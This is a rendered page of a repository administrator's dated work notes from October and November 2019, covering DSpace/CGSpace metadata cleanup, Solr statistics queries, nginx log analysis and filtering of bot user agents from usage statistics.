  • Then I ran the csv-metadata-quality script to do some general cleanups (though I temporarily commented out the whitespace fixes because it was too many thousands of rows):
    • +
+
$ csv-metadata-quality -i ~/Downloads/10568-16814.csv -o /tmp/iwmi.csv -x 'dc.date.issued,dc.date.issued[],dc.date.issued[en_US]' -u
+
+

2019-10-03

+
    +
  • Upload the 117 IITA records that we had been working on last month (aka 20196th.xls aka Sept 6) to CGSpace
    • +
+

2019-10-04

+
    +
  • Create an account for Bioversity’s ICT consultant Francesco on DSpace Test:
    • +
+
$ dspace user -a -m blah@mail.it -g Francesco -s Vernocchi -p 'fffff'
+
    +
  • Email Francesca and Carol to ask for follow up about the test upload I did on 2019-09-21 +
      +
    • I suggested that if they still want to do value addition of those records (like adding countries, regions, etc) that they could maybe do it after we migrate the records to CGSpace
      • +
    • Carol responded to tell me where to map the items with type Brochure, Journal Item, and Thesis, so I applied them to the collection on DSpace Test
      • +
    +
    • +
+

2019-10-06

+
    +
  • Hector from CCAFS responded about my feedback of their CLARISA API +
      +
    • He made some fixes to the metadata values they are using based on my feedback and said they are happy if we would use it
      • +
    +
    • +
  • Gabriela from CIP asked me if it was possible to generate an RSS feed of items that have the CIP subject “POTATO AGRI-FOOD SYSTEMS” +
      +
    • I notice that there is a similar term “SWEETPOTATO AGRI-FOOD SYSTEMS” so I had to come up with a way to exclude that using the boolean “AND NOT” in the OpenSearch query
      • +
    • Again, the sort_by=3 parameter is the accession date, as configured in dspace.cfg
      • +
    +
    • +
+

2019-10-08

+
    +
  • Fix 108 more issues with authors in the ongoing Bioversity migration on DSpace Test, for example: +
      +
    • Europeanooperative Programme for Plant Genetic Resources
      • +
    • Bioversity International. Capacity Development Unit
      • +
    • W.M. van der Heide, W.M., Tripp, R.
      • +
    • Internationallant Genetic Resources Institute
      • +
    +
    • +
  • Start looking at duplicates in the Bioversity migration data on DSpace Test +
      +
    • I’m keeping track of the originals and duplicates in a Google Docs spreadsheet that I will share with Bioversity
      • +
    +
    • +
+

2019-10-09

+
    +
  • Continue working on identifying duplicates in the Bioversity migration +
      +
    • I have been recording the originals and duplicates in a spreadsheet so I can map them later
      • +
    • For now I am just reconciling any incorrect or missing metadata in the original items on CGSpace, deleting the duplicate from DSpace Test, and mapping the original to the correct place on CGSpace
      • +
    • So far I have deleted thirty duplicates and mapped fourteen
      • +
    +
    • +
  • Run all system updates on DSpace Test (linode19) and reboot the server
    • +
+

2019-10-10

+
    +
  • Felix Shaw from Earlham emailed me to ask about his admin account on DSpace Test +
      +
    • His old one got lost when I re-sync’d DSpace Test with CGSpace a few weeks ago
      • +
    • I added a new account for him and added it to the Administrators group:
      • +
    +
    • +
+
$ dspace user -a -m wow@me.com -g Felix -s Shaw -p 'fuananaaa'
+

2019-10-11

+
    +
  • I ran the DSpace cleanup function on CGSpace and it found some errors:
    • +
+
$ dspace cleanup -v
+...
+Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(171221) is still referenced from table "bundle".
+
    +
  • The solution, as always, is (repeat as many times as needed):
    • +
+
# su - postgres
+$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (171221);'
+UPDATE 1
+

2019-10-12

+
    +
  • More work on identifying duplicates in the Bioversity migration data on DSpace Test +
      +
    • I mapped twenty-five more items on CGSpace and deleted them from the migration test collection on DSpace Test
      • +
    • After a few hours I think I finished all the duplicates that were identified by Atmire’s Duplicate Checker module
      • +
    • According to my spreadsheet there were fifty-two in total
      • +
    +
    • +
  • I was preparing to check the affiliations on the Bioversity records when I noticed that the last list of top affiliations I generated has some anomalies +
      +
    • I made some corrections in a CSV:
      • +
    +
    • +
+
from,to
+CIAT,International Center for Tropical Agriculture
+International Centre for Tropical Agriculture,International Center for Tropical Agriculture
+International Maize and Wheat Improvement Center (CIMMYT),International Maize and Wheat Improvement Center
+International Centre for Agricultural Research in the Dry Areas,International Center for Agricultural Research in the Dry Areas
+International Maize and Wheat Improvement Centre,International Maize and Wheat Improvement Center
+"Agricultural Information Resource Centre, Kenya.","Agricultural Information Resource Centre, Kenya"
+"Centre for Livestock and Agricultural Development, Cambodia","Centre for Livestock and Agriculture Development, Cambodia"
+
    +
  • Then I applied it with my fix-metadata-values.py script on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/affiliations.csv -db dspace -u dspace -p 'fuuu' -f from -m 211 -t to
+
    +
  • I did some manual curation of about 300 authors in OpenRefine in preparation for telling Peter and Abenet that the migration is almost ready +
      +
    • I would still like to perhaps (re)move institutional authors from dc.contributor.author to cg.contributor.affiliation, but I will have to run that by Francesca, Carol, and Abenet
      • +
    • I could use a custom text facet like this in OpenRefine to find authors that likely match the “Last, F.” pattern: isNotNull(value.match(/^.*, \p{Lu}\.?.*$/))
      • +
    • The \p{Lu} is a cool regex character class to make sure this works for letters with accents
      • +
    • As cool as that is, it’s actually more effective to just search for authors that have “.” in them!
      • +
    • I’ve decided to add a cg.contributor.affiliation column to 1,025 items based on the logic above where the author name is not an actual person
      • +
    +
    • +
+

2019-10-13

+
    +
  • More cleanup work on the authors in the Bioversity migration +
      +
    • Now I sent the final feedback to Francesca, Carol, and Abenet
      • +
    +
    • +
  • Peter is still seeing some authors listed with “|” in the “Top Authors” statistics for some collections +
      +
    • I looked in some of the items that are listed and the author field does not contain those invalid separators
      • +
    • I decided to try doing a full Discovery re-indexing on CGSpace (linode18):
      • +
    +
    • +
+
$ time schedtool -B -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    82m35.993s
+
    +
  • After the re-indexing the top authors still list the following:
    • +
+
Jagwe, J.|Ouma, E.A.|Brandes-van Dorresteijn, D.|Kawuma, Brian|Smith, J.
+
    +
  • I looked in the database to find authors that had “|” in them:
    • +
+
dspace=# SELECT text_value, resource_id FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=3 AND text_value LIKE '%|%';
+            text_value            | resource_id 
+----------------------------------+-------------
+ Anandajayasekeram, P.|Puskur, R. |         157
+ Morales, J.|Renner, I.           |       22779
+ Zahid, A.|Haque, M.A.            |       25492
+(3 rows)
+
    +
  • Then I found their handles and corrected them, for example:
    • +
+
dspacetest=# select handle from item, handle where handle.resource_id = item.item_id AND item.item_id = '157' and handle.resource_type_id=2;
+  handle   
+-----------
+ 10568/129
+(1 row)
+
    +
  • So I’m still not sure where these weird authors in the “Top Author” stats are coming from
    • +
+

2019-10-14

+
    +
  • I talked to Peter about the Bioversity items and he said that we should add the institutional authors back to dc.contributor.author, because I had moved them to cg.contributor.affiliation +
      +
    • Otherwise he said the data looks good
      • +
    +
    • +
+

2019-10-15

+
    +
  • I did a test export / import of the Bioversity migration items on DSpace Test +
      +
    • First export them:
      • +
    +
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx512m'
+$ mkdir 2019-10-15-Bioversity
+$ dspace export -i 10568/108684 -t COLLECTION -m -n 0 -d 2019-10-15-Bioversity
+$ sed -i '/<dcvalue element="identifier" qualifier="uri">/d' 2019-10-15-Bioversity/*/dublin_core.xml
+
    +
  • It’s really stupid, but for some reason the handles are included even though I specified the -m option, so after the export I removed the dc.identifier.uri metadata values from the items
    • +
  • Then I imported a test subset of them in my local test environment:
    • +
+
$ ~/dspace/bin/dspace import -a -c 10568/104049 -e fuu@cgiar.org -m 2019-10-15-Bioversity.map -s /tmp/2019-10-15-Bioversity
+
    +
  • I had forgotten (again) that the dspace export command doesn’t preserve collection ownership or mappings, so I will have to create a temporary collection on CGSpace to import these to, then do the mappings again after import…
    • +
  • On CGSpace I will increase the RAM of the command line Java process for good luck before import…
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ dspace import -a -c 10568/104057 -e fuu@cgiar.org -m 2019-10-15-Bioversity.map -s 2019-10-15-Bioversity
+
    +
  • After importing the 1,367 items I re-exported the metadata, changed the owning collections to those based on their type, then re-imported them
    • +
+

2019-10-21

+
    +
  • Re-sync the DSpace Test database and assetstore with CGSpace
    • +
  • Run system updates on DSpace Test (linode19) and reboot it
    • +
+

2019-10-24

+
    +
  • Create a test user for Mohammad Salem to test depositing from MEL to DSpace Test, as the last one I had created in 2019-08 was cleared when we re-syncronized DSpace Test with CGSpace recently.
    • +
+

2019-10-25

+
    +
  • Give a presentationa (via WebEx) about open source software to the ILRI Open Access Week + +
    • +
+

2019-10-28

+
    +
  • Move the CGSpace CG Core v2 notes from a GitHub Gist to a page on this site for archive and searchability sake
    • +
  • Work on the CG Core v2 implementation testing +
      +
    • I noticed that the page title is messed up on the item view, and after over an hour of troubleshooting it I couldn’t figure out why
      • +
    • It seems to be because the dc.title→dcterms.title modifications cause the title metadata to disappear from DRI’s <pageMeta> and therefore the title is not accessible to the XSL transformation
      • +
    • Also, I noticed a few places in the Java code where dc.title is hard coded so I think this might be one of the fields that we just assume DSpace relies on internally
      • +
    • I will revert all changes to dc.title and dc.title.alternative
      • +
    • TODO: there are similar issues with the citation_author metadata element missing from DRI, so I might have to revert those changes too
      • +
    +
    • +
+

2019-10-29

+
    +
  • After more digging in the source I found out why the dcterms.title and dcterms.creator fields are not present in the DRI pageMeta… +
      +
    • The pageMeta element is constructed in dspace-xmlui/src/main/java/org/dspace/app/xmlui/wing/IncludePageMeta.java and the code does not consider any other schemas besides DC
      • +
    • I moved title and creator back to the original DC fields and then everything was working as expected in the pageMeta, so I guess we cannot use these in DCTERMS either!
      • +
    +
    • +
  • Assist Maria from Bioversity with community and collection subscriptions
    • +
+ + + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-11/index.html b/docs/2019-11/index.html new file mode 100644 index 000000000..53fcf190b --- /dev/null +++ b/docs/2019-11/index.html @@ -0,0 +1,746 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + November, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

November, 2019

+

+ + in + Notes + + +

+
+

2019-11-04

+
    +
  • Peter noticed that there were 5.2 million hits on CGSpace in 2019-10 according to the Atmire usage statistics +
      +
    • I looked in the nginx logs and see 4.6 million in the access logs, and 1.2 million in the API logs:
      • +
    +
    • +
+
# zcat --force /var/log/nginx/*access.log.*.gz | grep -cE "[0-9]{1,2}/Oct/2019"
+4671942
+# zcat --force /var/log/nginx/{rest,oai,statistics}.log.*.gz | grep -cE "[0-9]{1,2}/Oct/2019"
+1277694
+
    +
  • So 4.6 million from XMLUI and another 1.2 million from API requests
    • +
  • Let’s see how many of the REST API requests were for bitstreams (because they are counted in Solr stats):
    • +
+
# zcat --force /var/log/nginx/rest.log.*.gz | grep -c -E "[0-9]{1,2}/Oct/2019"
+1183456 
+# zcat --force /var/log/nginx/rest.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep -c -E "/rest/bitstreams"
+106781
+
    +
  • The types of requests in the access logs are (by lazily extracting the sixth field in the nginx log)
    • +
+
# zcat --force /var/log/nginx/*access.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | awk '{print $6}' | sed 's/"//' | sort | uniq -c | sort -n
+      1 PUT
+      8 PROPFIND
+    283 OPTIONS
+  30102 POST
+  46581 HEAD
+4594967 GET
+
    +
  • Two very active IPs are 34.224.4.16 and 34.234.204.152, which made over 360,000 requests in October:
    • +
+
# zcat --force /var/log/nginx/*access.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep -c -E '(34\.224\.4\.16|34\.234\.204\.152)'
+365288
+
    +
  • Their user agent is one I’ve never seen before:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
+
    +
  • Most of them seem to be to community or collection discover and browse results pages like /handle/10568/103/discover:
    • +
+
# zcat --force /var/log/nginx/*access.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep Amazonbot | grep -o -E "GET /(bitstream|discover|handle)" | sort | uniq -c
+   6566 GET /bitstream
+ 351928 GET /handle
+# zcat --force /var/log/nginx/*access.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep Amazonbot | grep -E "GET /(bitstream|discover|handle)" | grep -c discover
+214209
+# zcat --force /var/log/nginx/*access.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep Amazonbot | grep -E "GET /(bitstream|discover|handle)" | grep -c browse
+86874
+
    +
  • As far as I can tell, none of their requests are counted in the Solr statistics:
    • +
+
$ http --print b 'http://localhost:8081/solr/statistics/select?q=(ip%3A34.224.4.16+OR+ip%3A34.234.204.152)&rows=0&wt=json&indent=true'
+
    +
  • Still, those requests are CPU intensive so I will add their user agent to the “badbots” rate limiting in nginx to reduce the impact on server load
    • +
  • After deploying it I checked by setting my user agent to Amazonbot and making a few requests (which were denied with HTTP 503):
    • +
+
$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/1/discover' User-Agent:"Amazonbot/0.1"
+
    +
  • On the topic of spiders, I have been wanting to update DSpace’s default list of spiders in config/spiders/agents, perhaps by dropping a new list in from Atmire’s COUNTER-Robots project +
      +
    • First I checked for a user agent that is in COUNTER-Robots, but NOT in the current dspace/config/spiders/example list
      • +
    • Then I made some item and bitstream requests on DSpace Test using that user agent:
      • +
    +
    • +
+
$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/105487' User-Agent:"iskanie"
+$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/105487' User-Agent:"iskanie"
+$ http --print Hh 'https://dspacetest.cgiar.org/bitstream/handle/10568/105487/csl_Crane_oct2019.pptx?sequence=1&isAllowed=y' User-Agent:"iskanie"
+
    +
  • A bit later I checked Solr and found three requests from my IP with that user agent this month:
    • +
+
$ http --print b 'http://localhost:8081/solr/statistics/select?q=ip:73.178.9.24+AND+userAgent:iskanie&fq=dateYearMonth%3A2019-11&rows=0'
+<?xml version="1.0" encoding="UTF-8"?>
+<response>
+<lst name="responseHeader"><int name="status">0</int><int name="QTime">1</int><lst name="params"><str name="q">ip:73.178.9.24 AND userAgent:iskanie</str><str name="fq">dateYearMonth:2019-11</str><str name="rows">0</str></lst></lst><result name="response" numFound="3" start="0"></result>
+</response>
+
    +
  • Now I want to make similar requests with a user agent that is included in DSpace’s current user agent list:
    • +
+
$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/105487' User-Agent:"celestial"
+$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/105487' User-Agent:"celestial"
+$ http --print Hh 'https://dspacetest.cgiar.org/bitstream/handle/10568/105487/csl_Crane_oct2019.pptx?sequence=1&isAllowed=y' User-Agent:"celestial"
+
    +
  • After twenty minutes I didn’t see any requests in Solr, so I assume they did not get logged because they matched a bot list… +
      +
    • What’s strange is that the Solr spider agent configuration in dspace/config/modules/solr-statistics.cfg points to a file that doesn’t exist…
      • +
    +
    • +
+
spider.agentregex.regexfile = ${dspace.dir}/config/spiders/Bots-2013-03.txt
+
    +
  • Apparently that is part of Atmire’s CUA, despite being in a standard DSpace configuration file…
    • +
  • I tried with some other garbage user agents like “fuuuualan” and they were visible in Solr +
      +
    • Now I want to try adding “iskanie” and “fuuuualan” to the list of spider regexes in dspace/config/spiders/example and then try to use DSpace’s “mark spiders” feature to change them to “isBot:true” in Solr
      • +
    • I restarted Tomcat and ran dspace stats-util -m and it did some stuff for awhile, but I still don’t see any items in Solr with isBot:true
      • +
    • According to dspace-api/src/main/java/org/dspace/statistics/util/SpiderDetector.java the patterns for user agents are loaded from any file in the config/spiders/agents directory
      • +
    • I downloaded the COUNTER-Robots list to DSpace Test and overwrote the example file, then ran dspace stats-util -m and still there were no new items marked as being bots in Solr, so I think there is still something wrong
      • +
    • Jesus, the code in ./dspace-api/src/main/java/org/dspace/statistics/util/StatisticsClient.java says that stats-util -m marks spider requests by their IPs, not by their user agents… WTF:
      • +
    +
    • +
+
else if (line.hasOption('m'))
+{
+    SolrLogger.markRobotsByIP();
+}
+
    +
  • WTF again, there is actually a function called markRobotByUserAgent() that is never called anywhere! +
      +
    • It appears to be unimplemented…
      • +
    • I sent a message to the dspace-tech mailing list to ask if I should file an issue
      • +
    +
    • +
+

2019-11-05

+
    +
  • I added “alanfuu2” to the example spiders file, restarted Tomcat, then made two requests to DSpace Test:
    • +
+
$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/105487' User-Agent:"alanfuuu1"
+$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/105487' User-Agent:"alanfuuu2"
+
    +
  • After committing the changes in Solr I saw one request for “alanfuu1” and no requests for “alanfuu2”:
    • +
+
$ http --print b 'http://localhost:8081/solr/statistics/update?commit=true'
+$ http --print b 'http://localhost:8081/solr/statistics/select?q=userAgent:alanfuuu1&fq=dateYearMonth%3A2019-11' | xmllint --format - | grep numFound
+  <result name="response" numFound="1" start="0">
+$ http --print b 'http://localhost:8081/solr/statistics/select?q=userAgent:alanfuuu2&fq=dateYearMonth%3A2019-11' | xmllint --format - | grep numFound
+  <result name="response" numFound="0" start="0"/>
+
    +
  • So basically it seems like a win to update the example file with the latest one from Atmire’s COUNTER-Robots list +
      +
    • Even though the “mark by user agent” function is not working (see email to dspace-tech mailing list) DSpace will still not log Solr events from these user agents
      • +
    +
    • +
  • I’m curious how the special character matching is in Solr, so I will test two requests: one with “www.gnip.com” which is in the spider list, and one with “www.gnyp.com” which isn’t:
    • +
+
$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/105487' User-Agent:"www.gnip.com"
+$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/105487' User-Agent:"www.gnyp.com"
+
    +
  • Then commit changes to Solr so we don’t have to wait:
    • +
+
$ http --print b 'http://localhost:8081/solr/statistics/update?commit=true'
+$ http --print b 'http://localhost:8081/solr/statistics/select?q=userAgent:www.gnip.com&fq=dateYearMonth%3A2019-11' | xmllint --format - | grep numFound 
+  <result name="response" numFound="0" start="0"/>
+$ http --print b 'http://localhost:8081/solr/statistics/select?q=userAgent:www.gnyp.com&fq=dateYearMonth%3A2019-11' | xmllint --format - | grep numFound
+  <result name="response" numFound="1" start="0">
+
    +
  • So the blocking seems to be working because “www.gnip.com” is one of the new patterns added to the spiders file…
    • +
+

2019-11-07

+
    +
  • CCAFS finally confirmed that they do indeed need the confusing new project tag that looks like a duplicate +
      +
    • They had proposed a batch of new tags in 2019-09 and we never merged them due to this uncertainty
      • +
    • I have now merged the changes in to the 5_x-prod branch (#432)
      • +
    +
    • +
  • I am reconsidering the move of cg.identifier.dataurl to cg.hasMetadata in CG Core v2 +
      +
    • The values of this field are mostly links to data sets on Dataverse and partner sites
      • +
    • I opened an issue on GitHub to ask Marie-Angelique for clarification
      • +
    +
    • +
  • Looking into CGSpace statistics again +
      +
    • I searched for hits in Solr from the BUbiNG bot and found 63,000 in the statistics-2018 core:
      • +
    +
    • +
+
$ http --print b 'http://localhost:8081/solr/statistics-2018/select?facet=true&facet.field=ip&facet.mincount=1&type:0&q=userAgent:BUbiNG*' | xmllint --format - | grep numFound
+  <result name="response" numFound="62944" start="0">
+
    +
  • Similar for com.plumanalytics, Grammarly, and ltx71!
    • +
+
$ http --print b 'http://localhost:8081/solr/statistics-2018/select?facet=true&facet.field=ip&facet.mincount=1&type:0&q=userAgent:
+*com.plumanalytics*' | xmllint --format - | grep numFound
+  <result name="response" numFound="28256" start="0">
+$ http --print b 'http://localhost:8081/solr/statistics-2018/select?facet=true&facet.field=ip&facet.mincount=1&type:0&q=userAgent:*Grammarly*' | xmllint --format - | grep numFound
+  <result name="response" numFound="6288" start="0">
+$ http --print b 'http://localhost:8081/solr/statistics-2018/select?facet=true&facet.field=ip&facet.mincount=1&type:0&q=userAgent:*ltx71*' | xmllint --format - | grep numFound
+  <result name="response" numFound="105663" start="0">
+
    +
  • Deleting these seems to work, for example the 105,000 ltx71 records from 2018:
    • +
+
$ http --print b 'http://localhost:8081/solr/statistics-2018/update?stream.body=<delete><query>userAgent:*ltx71*</query><query>type:0</query></delete>&commit=true'
+$ http --print b 'http://localhost:8081/solr/statistics-2018/select?facet=true&facet.field=ip&facet.mincount=1&type:0&q=userAgent:*ltx71*' | xmllint --format - | grep numFound
+  <result name="response" numFound="0" start="0"/>
+
    +
  • I wrote a quick bash script to check all these user agents against the CGSpace Solr statistics cores +
      +
    • For years 2010 until 2019 there are 1.6 million hits from these spider user agents
      • +
    • For 2019 alone there are 740,000, over half of which come from Unpaywall!
      • +
    • Looking at the facets I see there were about 200,000 hits from Unpaywall in 2019-10:
      • +
    +
    • +
+
$ curl -s 'http://localhost:8081/solr/statistics/select?facet=true&facet.field=dateYearMonth&facet.mincount=1&facet.offset=0&facet.limit=
+12&q=userAgent:*Unpaywall*' | xmllint --format - | less
+...
+  <lst name="facet_counts">
+    <lst name="facet_queries"/>
+    <lst name="facet_fields">
+      <lst name="dateYearMonth">
+        <int name="2019-10">198624</int>
+        <int name="2019-05">88422</int>
+        <int name="2019-06">79911</int>
+        <int name="2019-09">67065</int>
+        <int name="2019-07">39026</int>
+        <int name="2019-08">36889</int>
+        <int name="2019-04">36512</int>
+        <int name="2019-11">760</int>
+      </lst>
+    </lst>
+
    +
  • That answers Peter’s question about why the stats jumped in October…
    • +
+

2019-11-08

+
    +
  • I saw a bunch of user agents that have the literal string User-Agent in their user agent HTTP header, for example: +
      +
    • User-Agent: Drupal (+http://drupal.org/)
      • +
    • User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
      • +
    • User-Agent:Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) IKU/7.0.5.9226;IKUCID/IKU;
      • +
    • User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)
      • +
    • User-Agent:User-Agent:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET4.0C)IKU/6.7.6.12189;IKUCID/IKU;IKU/6.7.6.12189;IKUCID/IKU;
      • +
    • User-Agent:Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) IKU/7.0.5.9226;IKUCID/IKU;
      • +
    +
    • +
  • I filed an issue on the COUNTER-Robots project to see if they agree to add User-Agent: to the list of robot user agents
    • +
+

2019-11-09

+
    +
  • Deploy the latest 5_x-prod branch on CGSpace (linode19) +
      +
    • This includes the updated CCAFS phase II project tags and the updated spider user agents
      • +
    +
    • +
  • Run all system updates on CGSpace and reboot the server +
      +
    • After rebooting it seems that all Solr statistics cores came back up fine…
      • +
    +
    • +
  • I did some work to clean up my bot processing script and removed about 2 million hits from the statistics cores on CGSpace +
      +
    • The script is called check-spider-hits.sh
      • +
    • After a bunch of tests and checks I ran it for each statistics shard like so:
      • +
    +
    • +
+
$ for shard in statistics statistics-2018 statistics-2017 statistics-2016 statistics-2015 stat
+istics-2014 statistics-2013 statistics-2012 statistics-2011 statistics-2010; do ./check-spider-hits.sh -s $shard -p yes; done
+
    +
  • Open a pull request against COUNTER-Robots to remove unnecessary escaping of dashes
    • +
+

2019-11-12

+
    +
  • Udana and Chandima emailed me to ask why one of their WLE items that is mapped from IWMI only shows up in the IWMI “department” on the Altmetric dashboard + +
    • +
  • Also, while analysing this, I looked through some of the other top WLE items and fixed some metadata issues (adding dc.rights, fixing DOIs, adding ISSNs, etc) and noticed one issue with an item that has an Altmetric score for its Handle (lower) despite it having a correct DOI (with a higher score) +
      +
    • I tweeted the Handle to see if the score would get linked once Altmetric noticed it
      • +
    +
    • +
+

2019-11-13

+
    +
  • The item with a low Altmetric score for its Handle that I tweeted yesterday still hasn’t linked with the DOI’s score +
      +
    • I tweeted it again with the Handle and the DOI
      • +
    +
    • +
  • Testing modifying some of the COUNTER-Robots patterns to use [0-9] instead of \d digit character type, as Solr’s regex search can’t use those
    • +
+
$ http --print Hh 'https://dspacetest.cgiar.org/handle/10568/105487' User-Agent:"Scrapoo/1"
+$ http "http://localhost:8081/solr/statistics/update?commit=true"
+$ http "http://localhost:8081/solr/statistics/select?q=userAgent:Scrapoo*" | xmllint --format - | grep numFound
+  <result name="response" numFound="1" start="0">
+$ http "http://localhost:8081/solr/statistics/select?q=userAgent:/Scrapoo\/[0-9]/" | xmllint --format - | grep numFound
+  <result name="response" numFound="1" start="0">
+
    +
  • Nice, so searching with regex in Solr with // syntax works for those digits!
    • +
  • I realized that it’s easier to search Solr from curl via POST using this syntax:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/select" -d "q=userAgent:*Scrapoo*&rows=0")
+
    +
  • If the parameters include something like “[0-9]” then curl interprets it as a range and will make ten requests +
      +
    • You can disable this using the -g option, but there are other benefits to searching with POST, for example it seems that I have less issues with escaping special parameters when using Solr’s regex search:
      • +
    +
    • +
+
$ curl -s 'http://localhost:8081/solr/statistics/select' -d 'q=userAgent:/Postgenomic(\s|\+)v2/&rows=2'
+
    +
  • I updated the check-spider-hits.sh script to use the POST syntax, and I’m evaluating the feasability of including the regex search patterns from the spider agent file, as I had been filtering them out due to differences in PCRE and Solr regex syntax and issues with shell handling
    • +
+

2019-11-14

+
    +
  • IWMI sent a few new ORCID identifiers for us to add to our controlled vocabulary
    • +
  • I will merge them with our existing list and then resolve their names using my resolve-orcids.py script:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml /tmp/iwmi-orcids.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2019-11-14-combined-orcids.txt
+$ ./resolve-orcids.py -i /tmp/2019-11-14-combined-orcids.txt -o /tmp/2019-11-14-combined-names.txt -d
+# sort names, copy to cg-creator-id.xml, add XML formatting, and then format with tidy (preserving accents)
+$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • I created a pull request and merged them into the 5_x-prod branch +
      +
    • I will deploy them to CGSpace in the next few days
      • +
    +
    • +
  • Greatly improve my check-spider-hits.sh script to handle regular expressions in the spider agents patterns file +
      +
    • This allows me to detect and purge many more hits from the Solr statistics core
      • +
    • I’ve tested it quite a bit on DSpace Test, but I need to do a little more before I feel comfortable running the new code on CGSpace’s Solr cores
      • +
    +
    • +
+

2019-11-15

+
    +
  • Run the new version of check-spider-hits.sh on CGSpace’s Solr statistics cores one by one, starting from the oldest just in case something goes wrong
    • +
  • But then I noticed that some (all?) of the hits weren’t actually getting purged, all of which were using regular expressions like: +
      +
    • MetaURI[\+\s]API\/[0-9]\.[0-9]
      • +
    • FDM(\s|\+)[0-9]
      • +
    • Goldfire(\s|\+)Server
      • +
    • ^Mozilla\/4\.0\+\(compatible;\)$
      • +
    • ^Mozilla\/4\.0\+\(compatible;\+ICS\)$
      • +
    • ^Mozilla\/4\.5\+\[en]\+\(Win98;\+I\)$
      • +
    +
    • +
  • Upon closer inspection, the plus signs seem to be getting misinterpreted somehow in the delete, but not in the select!
    • +
  • Plus signs are special in regular expressions, URLs, and Solr’s Lucene query parser, so I’m actually not sure where the issue is +
      +
    • I tried to do URL encoding of the +, double escaping, etc… but nothing worked
      • +
    • I’m going to ignore regular expressions that have pluses for now
      • +
    +
    • +
  • I think I might also have to ignore patterns that have percent signs, like ^\%?default\%?$
    • +
  • After I added the ignores and did some more testing I finally ran the check-spider-hits.sh on all CGSpace Solr statistics cores and these are the number of hits purged from each core: +
      +
    • statistics-2010: 113
      • +
    • statistics-2011: 7235
      • +
    • statistics-2012: 0
      • +
    • statistics-2013: 0
      • +
    • statistics-2014: 316
      • +
    • statistics-2015: 16809
      • +
    • statistics-2016: 41732
      • +
    • statistics-2017: 39207
      • +
    • statistics-2018: 295546
      • +
    • statistics: 1043373
      • +
    +
    • +
  • That’s 1.4 million hits in addition to the 2 million I purged earlier this week…
    • +
  • For posterity, the major contributors to the hits on the statistics core were: +
      +
    • Purging 812429 hits from curl/ in statistics
      • +
    • Purging 48206 hits from facebookexternalhit/ in statistics
      • +
    • Purging 72004 hits from PHP/ in statistics
      • +
    • Purging 76072 hits from Yeti/[0-9] in statistics
      • +
    +
    • +
  • Most of the curl hits were from CIAT in mid-2019, where they were using GuzzleHttp from PHP, which uses something like this for its user agent:
    • +
+
Guzzle/<Guzzle_Version> curl/<curl_version> PHP/<PHP_VERSION>
+
    +
  • Run system updates on DSpace Test and reboot the server
    • +
+

2019-11-17

+
    +
  • Altmetric support responded about our dashboard question, asking if the second “department” (aka WLE’s collection) was added recently and might have not been in the last harvesting yet + +
    • +
  • I finally decided to revert cg.hasMetadata back to cg.identifier.dataurl in my CG Core v2 branch (see #10)
    • +
  • Regarding the WLE item that has a much lower score than its DOI… +
      +
    • I tweeted the item twice last week and the score never got linked
      • +
    • Then I noticed that I had already made a note about the same issue in 2019-04, when I also tweeted it several times…
      • +
    • I will ask Altmetric support for help with that
      • +
    +
    • +
  • Finally deploy 5_x-cgcorev2 branch on DSpace Test
    • +
+

2019-11-18

+
    +
  • I sent a mail to the CGSpace partners in Addis about the CG Core v2 changes on DSpace Test
    • +
  • Then I filed an issue on the CG Core GitHub to let the metadata people know about our progress
    • +
  • It seems like I will do a session about CG Core v2 implementation and limitations in DSpace for the data workshop in December in Nairobi (?)
    • +
+

2019-11-19

+
    +
  • Export IITA’s community from CGSpace because they want to experiment with importing it into their internal DSpace for some testing or something +
      +
    • I had previously sent them an export in 2019-04
      • +
    +
    • +
